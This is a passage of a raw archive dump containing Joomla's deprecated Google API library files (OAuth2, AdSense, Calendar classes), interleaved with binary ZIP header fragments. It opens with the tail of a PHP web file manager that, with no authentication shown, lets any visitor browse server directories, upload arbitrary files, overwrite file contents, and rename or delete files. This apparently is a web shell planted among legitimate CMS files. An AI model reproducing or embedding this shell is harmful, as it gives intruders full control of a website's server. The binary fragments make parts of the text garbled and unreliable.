if (!is_dir(decodePath($_GET['q']))) {
echo
("<script>window.location.replace('?p=');</script>");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = __DIR__;
}
define("PATH", $p);
echo ('
<nav class="navbar navbar-light" style="background-color:
#e3f2fd;">
<div class="navbar-brand">
<a href="?"><img
src="https://github.com/fluidicon.png" width="30"
height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == '' && $id == 0) {
$a = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
if ($dir_part == '')
continue;
echo "<a href='?p=";
for ($i = 0; $i <= $id; $i++) {
echo str_replace(":", "ঘ", $paths[$i]);
if ($i != $id)
echo "ক";
}
echo "'>" . $dir_part . "</a>/";
}
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) .
'"><button class="btn btn-dark"
type="button">Upload File</button></a>
<a href="?"><button type="button"
class="btn btn-dark">HOME</button></a>
</div>
</nav>');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Size</th>
<th scope="col">Modified</th>
<th scope="col">Perms</th>
<th scope="col">Actions</th>
</tr>
</thead>
<tbody>
';
foreach ($folders as $folder) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i>
<a href='?p=" . urlencode(encodePath(PATH . "/" .
$folder)) . "'>" . $folder . "</a></td>
<td><b>---</b></td>
<td>". date("F d Y H:i:s.", filemtime(PATH .
"/" . $folder)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" .
$folder)), -3) . "</a></td>
<td>
<a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $folder .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $folder .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
<td>
</tr>
";
}
foreach ($files as $file) {
echo " <tr>
<td>" . fileIcon($file) . $file . "</td>
<td>" . formatSizeUnits(filesize(PATH . "/"
. $file)) . "</td>
<td>" . date("F d Y H:i:s.", filemtime(PATH
. "/" . $file)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/"
.$file)), -3) . "</a></td>
<td>
<a title='Edit File' href='?q=" .
urlencode(encodePath(PATH)) . "&e=" . $file .
"'><i class='fa-solid
fa-file-pen'></i></a>
<a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) . "&r=" . $file .
"'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) . "&d=" . $file .
"'><i class='fa fa-trash'
aria-hidden='true'></i></a>
<td>
</tr>
";
}
echo " </tbody>
</table>";
} else {
if (empty($_GET)) {
echo
("<script>window.location.replace('?p=');</script>");
}
}
if (isset($_GET['upload'])) {
echo '
<form method="post"
enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload"
id="fileToUpload">
<input type="submit" class="btn btn-dark"
value="Upload" name="upload">
</form>';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) &&
isset($_GET['q'])) {
echo '
<form method="post">
Rename:
<input type="text" name="name"
value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark"
value="Rename" name="rename">
</form>';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" .
$_POST['name'])) {
echo ("<script>alert('Renamed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) &&
isset($_GET['q'])) {
echo '
<form method="post">
<textarea style="height: 500px;
width: 90%;" name="data">' .
htmlspecialchars(file_get_contents(PATH."/".$_GET['e']))
. '</textarea>
<br>
<input type="submit" class="btn btn-dark"
value="Save" name="edit">
</form>';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("<script>alert('Saved.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" .
$_FILES["fileToUpload"]["name"];
if
(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$target_file)) {
echo
"<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))
. " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your
file.</p>";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("<script>alert('File removed.');
window.location.replace('?p=" . encodePath(PATH) .
"');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("<script>alert('Directory
removed.'); window.location.replace('?p=" . encodePath(PATH)
. "');</script>");
} else {
echo ("<script>alert('Some error
occurred.'); window.location.replace('?p=" .
encodePath(PATH) . "');</script>");
}
}
}
?>
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>PK�d�[�<o�auth/oauth2.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google OAuth authentication class
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleAuthOauth2 extends JGoogleAuth
{
/**
* @var JOAuth2Client OAuth client for the Google authentication
object.
* @since 3.1.4
*/
protected $client;
/**
* Constructor.
*
* @param Registry $options JGoogleAuth options object.
* @param JOAuth2Client $client OAuth client for Google
authentication.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JOAuth2Client
$client = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JOAuth2Client($this->options);
}
/**
* Method to authenticate to Google
*
* @return boolean True on success.
*
* @since 3.1.4
*/
public function authenticate()
{
$this->googlize();
return $this->client->authenticate();
}
/**
* Verify if the client has been authenticated
*
* @return boolean Is authenticated
*
* @since 3.1.4
*/
public function isAuthenticated()
{
return $this->client->isAuthenticated();
}
/**
* Method to retrieve data from Google
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request.
* @param array $headers The headers to send with the request.
* @param string $method The type of http request to send.
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
public function query($url, $data = null, $headers = null, $method =
'get')
{
$this->googlize();
return $this->client->query($url, $data, $headers, $method);
}
/**
* Method to fill in Google-specific OAuth settings
*
* @return JOAuth2Client Google-configured Oauth2 client.
*
* @since 3.1.4
*/
protected function googlize()
{
if (!$this->client->getOption('authurl'))
{
$this->client->setOption('authurl',
'https://accounts.google.com/o/oauth2/auth');
}
if (!$this->client->getOption('tokenurl'))
{
$this->client->setOption('tokenurl',
'https://accounts.google.com/o/oauth2/token');
}
if (!$this->client->getOption('requestparams'))
{
$this->client->setOption('requestparams', array());
}
$params = $this->client->getOption('requestparams');
if (!array_key_exists('access_type', $params))
{
$params['access_type'] = 'offline';
}
if ($params['access_type'] == 'offline' &&
$this->client->getOption('userefresh') === null)
{
$this->client->setOption('userefresh', true);
}
if (!array_key_exists('approval_prompt', $params))
{
$params['approval_prompt'] = 'auto';
}
$this->client->setOption('requestparams', $params);
return $this->client;
}
}
PK�d�[�w���auth.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Google authentication class abstract
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
abstract class JGoogleAuth
{
/**
* @var \Joomla\Registry\Registry Options for the Google
authentication object.
* @since 3.1.4
*/
protected $options;
/**
* Abstract method to authenticate to Google
*
* @return boolean True on success.
*
* @since 3.1.4
*/
abstract public function authenticate();
/**
* Verify if the client has been authenticated
*
* @return boolean Is authenticated
*
* @since 3.1.4
*/
abstract public function isAuthenticated();
/**
* Abstract method to retrieve data from Google
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request.
* @param array $headers The headers to send with the request.
* @param string $method The type of http request to send.
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
abstract public function query($url, $data = null, $headers = null,
$method = 'get');
/**
* Get an option from the JGoogleAuth object.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogleAuth object.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogleAuth This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PK�d�[�#{�/,/,data/adsense.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Adsense data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataAdsense extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/adsense');
}
}
/**
* Method to get an Adsense account's settings from Google
*
* @param string $accountID ID of account to get
* @param boolean $subaccounts Include list of subaccounts
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getAccount($accountID, $subaccounts = true)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . ($subaccounts ? '?tree=true' :
'');
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense accounts from Google
*
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listAccounts($options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts?' .
http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense clients from Google
*
* @param string $accountID ID of account to list the clients from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listClients($accountID, $options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients?' .
http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to get an AdSense AdUnit
*
* @param string $accountID ID of account to get
* @param string $adclientID ID of client to get
* @param string $adunitID ID of adunit to get
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getUnit($accountID, $adclientID, $adunitID)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID);
$url .= '/adclients/' . urlencode($adclientID) .
'/adunits/' . urlencode($adunitID);
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Custom Channels for a specific
Adunit
*
* @param string $accountID ID of account
* @param string $adclientID ID of client
* @param string $adunitID ID of adunit to list channels from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listUnitChannels($accountID, $adclientID, $adunitID,
$options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID);
$url .= '/adclients/' . urlencode($adclientID) .
'/adunits/' . urlencode($adunitID) . '/customchannels?'
. http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to get an Adsense Channel
*
* @param string $accountID ID of account to get
* @param string $adclientID ID of client to get
* @param string $channelID ID of channel to get
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getChannel($accountID, $adclientID, $channelID)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients/';
$url .= urlencode($adclientID) . '/customchannels/' .
urlencode($channelID);
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Custom Channels
*
* @param string $accountID ID of account
* @param string $adclientID ID of client to list channels from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listChannels($accountID, $adclientID, $options = array(),
$maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients/' . urlencode($adclientID);
$url .= '/customchannels?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Adunits for a specific Custom
Channel
*
* @param string $accountID ID of account
* @param string $adclientID ID of client
* @param string $channelID ID of channel to list units from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listChannelUnits($accountID, $adclientID, $channelID,
$options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients/' . urlencode($adclientID);
$url .= '/customchannels/' . urlencode($channelID) .
'/adunits?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to generate a report from Google AdSense
*
* @param string $accountID ID of account
* @param string $adclientID ID of client
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listUrlChannels($accountID, $adclientID, $options =
array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID);
$url .= '/adclients/' . urlencode($adclientID) .
'/urlchannels?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Channel URLs
*
* @param string $accountID ID of account
* @param mixed $start Start day
* @param mixed $end End day
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws InvalidArgumentException
* @throws UnexpectedValueException
*/
public function generateReport($accountID, $start, $end = false, $options
= array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
if (is_int($start))
{
$startobj = new DateTime;
$startobj->setTimestamp($start);
}
elseif (is_string($start))
{
$startobj = new DateTime($start);
}
elseif (is_a($start, 'DateTime'))
{
$startobj = $start;
}
else
{
throw new InvalidArgumentException('Invalid start time.');
}
if (!$end)
{
$endobj = new DateTime;
}
elseif (is_int($end))
{
$endobj = new DateTime;
$endobj->setTimestamp($end);
}
elseif (is_string($end))
{
$endobj = new DateTime($end);
}
elseif (is_a($end, 'DateTime'))
{
$endobj = $end;
}
else
{
throw new InvalidArgumentException('Invalid end time.');
}
$options['startDate'] =
$startobj->format('Y-m-d');
$options['endDate'] = $endobj->format('Y-m-d');
unset($options['startIndex']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/reports?' . http_build_query($options);
if (strpos($url, '&'))
{
$url .= '&';
}
$i = 0;
$data['rows'] = array();
do
{
$jdata = $this->query($url . 'startIndex=' .
count($data['rows']));
$newdata = json_decode($jdata->body, true);
if ($newdata && array_key_exists('rows', $newdata))
{
$newdata['rows'] = array_merge($data['rows'],
$newdata['rows']);
$data = $newdata;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
$i++;
}
while (count($data['rows']) <
$data['totalMatchedRows'] && $i < $maxpages);
return $data;
}
else
{
return false;
}
}
}
PK�d�[�Md�=�=data/calendar.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Calendar data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataCalendar extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/calendar');
}
}
/**
* Method to remove a calendar from a user's calendar list
*
* @param string $calendarID ID of calendar to delete
*
* @return boolean Success or failure
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function removeCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$jdata =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendarList/'
. urlencode($calendarID), null, null, 'delete');
if ($jdata->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to get a calendar's settings from Google
*
* @param string $calendarID ID of calendar to get.
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$jdata =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendarList/'
. urlencode($calendarID));
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to add a calendar to a user's Google Calendar list
*
* @param string $calendarID New calendar ID
* @param array $options New calendar settings
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function addCalendar($calendarID, $options = array())
{
if ($this->isAuthenticated())
{
$options['id'] = $calendarID;
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList';
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve calendar list from Google
*
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of calendars to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listCalendars($options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList?' .
http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to edit a Google Calendar's settings
*
* @param string $calendarID Calendar ID
* @param array $options Calendar settings
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function editCalendarSettings($calendarID, $options)
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList/' .
urlencode($calendarID);
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'put');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to clear a Google Calendar
*
* @param string $calendarID ID of calendar to clear
*
* @return boolean Success or failure
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function clearCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$data =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendars/'
. urlencode($calendarID) . '/clear', null, null,
'post');
if ($data->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$data->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to delete a calendar from Google
*
* @param string $calendarID ID of calendar to delete.
*
* @return boolean Success or failure
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function deleteCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$data =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendars/'
. urlencode($calendarID), null, null, 'delete');
if ($data->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$data->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to create a Google Calendar
*
* @param string $title New calendar title
* @param array $options New calendar settings
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function createCalendar($title, $options = array())
{
if ($this->isAuthenticated())
{
$options['summary'] = $title;
$url = 'https://www.googleapis.com/calendar/v3/calendars';
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to edit a Google Calendar
*
* @param string $calendarID Calendar ID.
* @param array $options Calendar settings.
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function editCalendar($calendarID, $options)
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendars/' .
urlencode($calendarID);
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'put');
$data = json_decode($jdata->body, true);
if ($data && array_key_exists('items', $data))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to delete an event from a Google Calendar
*
* @param string $calendarID ID of calendar to delete from
* @param string $eventID ID of event to delete.
*
* @return boolean Success or failure.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function deleteEvent($calendarID, $eventID)
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendars/' .
urlencode($calendarID) . '/events/' . urlencode($eventID);
$data = $this->query($url, null, null, 'delete');
if ($data->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$data->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to get an event from a Google Calendar
*
* @param string $calendarID ID of calendar
* @param string $eventID ID of event to get
* @param array $options Options to send to Google
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getEvent($calendarID, $eventID, $options = array())
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList/';
$url .= urlencode($calendarID) . '/events/' .
urlencode($eventID) . '?' . http_build_query($options);
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to create a Google Calendar event
*
* @param string $calendarID ID of calendar
* @param mixed $start Event start time
* @param mixed $end Event end time
* @param array $options New event settings
* @param mixed $timezone Timezone for event
* @param boolean $allday Treat event as an all-day event
* @param boolean $notify Notify participants
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws InvalidArgumentException
* @throws UnexpectedValueException
*/
public function createEvent($calendarID, $start, $end = false, $options =
array(), $timezone = false, $allday = false, $notify = false)
{
if ($this->isAuthenticated())
{
if (!$start)
{
$startobj = new DateTime;
}
elseif (is_int($start))
{
$startobj = new DateTime;
$startobj->setTimestamp($start);
}
elseif (is_string($start))
{
$startobj = new DateTime($start);
}
elseif (is_a($start, 'DateTime'))
{
$startobj = $start;
}
else
{
throw new InvalidArgumentException('Invalid event start
time.');
}
if (!$end)
{
$endobj = $startobj;
}
elseif (is_int($end))
{
$endobj = new DateTime;
$endobj->setTimestamp($end);
}
elseif (is_string($end))
{
$endobj = new DateTime($end);
}
elseif (is_a($end, 'DateTime'))
{
$endobj = $end;
}
else
{
throw new InvalidArgumentException('Invalid event end
time.');
}
if ($allday)
{
$options['start'] = array('date' =>
$startobj->format('Y-m-d'));
$options['end'] = array('date' =>
$endobj->format('Y-m-d'));
}
else
{
$options['start'] = array('dateTime' =>
$startobj->format(DateTime::RFC3339));
$options['end'] = array('dateTime' =>
$endobj->format(DateTime::RFC3339));
}
if ($timezone === true)
{
$options['start']['timeZone'] =
$startobj->getTimezone()->getName();
$options['end']['timeZone'] =
$endobj->getTimezone()->getName();
}
elseif (is_a($timezone, 'DateTimeZone'))
{
$options['start']['timeZone'] =
$timezone->getName();
$options['end']['timeZone'] =
$timezone->getName();
}
elseif (is_string($timezone))
{
$options['start']['timeZone'] = $timezone;
$options['end']['timeZone'] = $timezone;
}
$url = 'https://www.googleapis.com/calendar/v3/calendars/' .
urlencode($calendarID) . '/events' . ($notify ?
'?sendNotifications=true' : '');
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of events on a Google calendar
*
* @param string $calendarID Calendar ID
* @param string $eventID ID of the event to change
* @param array $options Search settings
* @param int $maxpages Minimum number of events to retrieve
(more may be retrieved depending on page size)
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listRecurrences($calendarID, $eventID, $options = array(),
$maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendars/' .
urlencode($calendarID) . '/events/' . urlencode($eventID) .
'/instances';
$url .= '?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of events on a Google calendar
*
* @param string $calendarID Calendar ID
* @param array $options Calendar settings
* @param int $maxpages Cycle through pages of data to generate a
complete list
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listEvents($calendarID, $options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/calendar/v3/calendars/' .
urlencode($calendarID) . '/events?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to move an event from one calendar to another
*
* @param string $calendarID Calendar ID
* @param string $eventID ID of the event to change
* @param string $destID Calendar ID
* @param boolean $notify Notify participants of changes
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function moveEvent($calendarID, $eventID, $destID, $notify = false)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/calendar/v3/calendars/' .
urlencode($calendarID) . '/events/' . urlencode($eventID) .
'/move';
$url .= '?destination=' . $destID . ($notify ?
'&sendNotifications=true' : '');
$jdata = $this->query($url, null, null, 'post');
